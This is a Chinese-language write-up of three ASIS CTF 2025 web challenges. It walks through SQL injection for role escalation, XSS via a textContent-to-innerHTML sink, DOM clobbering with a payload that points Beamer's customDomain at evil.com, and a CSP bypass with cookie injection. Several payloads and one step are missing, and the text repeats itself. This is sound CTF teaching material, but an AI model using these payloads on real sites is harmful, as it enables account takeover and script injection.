ASIS CTF 2025 WEB WP
字数 1890 2025-10-01 14:05:44

ASIS CTF 2025 WEB WP 中几道题目的详细教学文档,涵盖关键漏洞点、利用方法和最终攻击链的完整分析。


🧩 ScrapScrap I Revenge

题目背景

目标服务是一个允许用户抓取网站内容的 Web 应用,但只提供演示账户。目标是获取一个普通用户账户(role = 'user')以访问 /scrap 路由获取 flag。

关键代码分析

1. 路由与权限控制

  • /scrap 路由仅对 role = 'user' 的用户开放。
  • 默认注册用户 role 为 'demo',只有 superbot'user'

2. SQL 注入点

/debug/create_log 中存在 SQL 注入:

database.exec(`INSERT INTO logs VALUES('${req.body.log}'); ...`);

限制条件:

  • log 长度 ≤ 50
  • 不能包含 /-
  • role = 'user' 可访问(即需 superbot 触发)

3. XSS 触发点

checker.js 中,错误信息渲染时存在 textContent → innerHTML 转换:

msg_url.textContent = url;
msg_url.innerHTML = DOMPurify.sanitize(msg_url.textContent);

利用 textContent 可包含 HTML 标签但不会被转义,再通过 innerHTML 渲染触发 XSS。

利用步骤

第一步:构造 XSS Payload

Payload 需满足:

  • 长度 ≤ 50
  • 不含 /-
  • 触发 XSS 后发起 POST 请求修改当前用户 role

示例 Payload:

http://

第二步:绕过 8 秒超时

  • 使用延迟响应服务器或构造页面自动跳转绕过超时限制。

第三步:触发 superbot 访问

  • 提交构造的 URL 给 superbot,触发 XSS,执行 SQL 注入:
UPDATE users SET role='user' WHERE username='your_username';

第四步:访问 /scrap

  • 登录后访问 /scrap 即可获取 flag。

🎯 Under the Beamers Revenge

题目背景

通过 iframe srcdoc 渲染用户输入,使用 DOMPurify 过滤,但存在 DOM Clobbering 漏洞。

关键代码分析

1. 初始化配置

<script>
  window.Beamer = window.Beamer || {};
  BeamerConfig = { product_id: '123', language: 'FR' };
</script>
<script src="/static/beamer.js"></script>

2. DOM Clobbering 漏洞

  • 通过 HTML 标签覆盖 window.Beamer 的属性。
  • 目标是覆盖 escapeHtml 函数,使其失效。

3. 触发路径

  • 调用 Beamer.update()appendAlert()appendUtilitiesIframe() → 使用 escapeHtml 过滤失败,导致 XSS。

利用步骤

第一步:构造 DOM Clobbering Payload

<a id=Beamer><a id=Beamer-name></a><a id=Beamer-customDomain>http://evil.com</a>

第二步:触发 update 方法

Beamer.update({ language: 'FR' });

第三步:绕过 DOMPurify

  • 通过 Clobbering 使 escapeHtml 失效,导致 customDomain 被直接写入 iframe,触发 XSS。

📝 SatoNote (2 solves)

题目背景

笔记应用,目标获取管理员笔记中的 flag。

关键漏洞

1. CSP 绕过

  • /profile 路由的 CSP 通过 Meta 标签设置,可通过悬空标记(Dangling Markup)注入绕过。

2. Preload Scanner

  • 浏览器预加载扫描器可提前加载资源,用于泄露用户 UUID。

3. Cookie Sandwich

  • 通过设置 Cookie 绕过权限控制。

利用步骤

第一步:悬空 Meta 标签


第三步:Cookie 注入

  • 通过 XSS 设置 Cookie,提升权限为管理员。

第四步:读取管理员笔记

  • 直接访问管理员笔记 API 获取 flag。

✅ 总结

题目 漏洞类型 关键技巧
ScrapScrap I Revenge SQLi + XSS textContent → innerHTML
Under the Beamers DOM Clobbering 覆盖 Beamer 属性
SatoNote CSP绕过 + Preload 悬空标记 + Cookie注入

如果有新的题目或补充内容,可随时提供进一步分析。

ASIS CTF 2025 WEB WP 中几道题目的详细教学文档,涵盖关键漏洞点、利用方法和最终攻击链的完整分析。 🧩 ScrapScrap I Revenge 题目背景 目标服务是一个允许用户抓取网站内容的 Web 应用,但只提供演示账户。目标是获取一个普通用户账户(role = 'user')以访问 /scrap 路由获取 flag。 关键代码分析 1. 路由与权限控制 /scrap 路由仅对 role = 'user' 的用户开放。 默认注册用户 role 为 'demo' ,只有 superbot 是 'user' 。 2. SQL 注入点 在 /debug/create_log 中存在 SQL 注入: 限制条件: log 长度 ≤ 50 不能包含 / 和 - 仅 role = 'user' 可访问(即需 superbot 触发) 3. XSS 触发点 在 checker.js 中,错误信息渲染时存在 textContent → innerHTML 转换: 利用 textContent 可包含 HTML 标签但不会被转义,再通过 innerHTML 渲染触发 XSS。 利用步骤 第一步:构造 XSS Payload Payload 需满足: 长度 ≤ 50 不含 / 和 - 触发 XSS 后发起 POST 请求修改当前用户 role 示例 Payload: 第二步:绕过 8 秒超时 使用延迟响应服务器或构造页面自动跳转绕过超时限制。 第三步:触发 superbot 访问 提交构造的 URL 给 superbot,触发 XSS,执行 SQL 注入: 第四步:访问 /scrap 登录后访问 /scrap 即可获取 flag。 🎯 Under the Beamers Revenge 题目背景 通过 iframe srcdoc 渲染用户输入,使用 DOMPurify 过滤,但存在 DOM Clobbering 漏洞。 关键代码分析 1. 初始化配置 2. DOM Clobbering 漏洞 通过 HTML 标签覆盖 window.Beamer 的属性。 目标是覆盖 escapeHtml 函数,使其失效。 3. 触发路径 调用 Beamer.update() → appendAlert() → appendUtilitiesIframe() → 使用 escapeHtml 过滤失败,导致 XSS。 利用步骤 第一步:构造 DOM Clobbering Payload 第二步:触发 update 方法 第三步:绕过 DOMPurify 通过 Clobbering 使 escapeHtml 失效,导致 customDomain 被直接写入 iframe,触发 XSS。 📝 SatoNote (2 solves) 题目背景 笔记应用,目标获取管理员笔记中的 flag。 关键漏洞 1. CSP 绕过 /profile 路由的 CSP 通过 Meta 标签设置,可通过悬空标记(Dangling Markup)注入绕过。 2. Preload Scanner 浏览器预加载扫描器可提前加载资源,用于泄露用户 UUID。 3. Cookie Sandwich 通过设置 Cookie 绕过权限控制。 利用步骤 第一步:悬空 Meta 标签 第三步:Cookie 注入 通过 XSS 设置 Cookie,提升权限为管理员。 第四步:读取管理员笔记 直接访问管理员笔记 API 获取 flag。 ✅ 总结 | 题目 | 漏洞类型 | 关键技巧 | |---------------------|----------------------|--------------------------| | ScrapScrap I Revenge| SQLi + XSS | textContent → innerHTML | | Under the Beamers | DOM Clobbering | 覆盖 Beamer 属性 | | SatoNote | CSP绕过 + Preload | 悬空标记 + Cookie注入 | 如果有新的题目或补充内容,可随时提供进一步分析。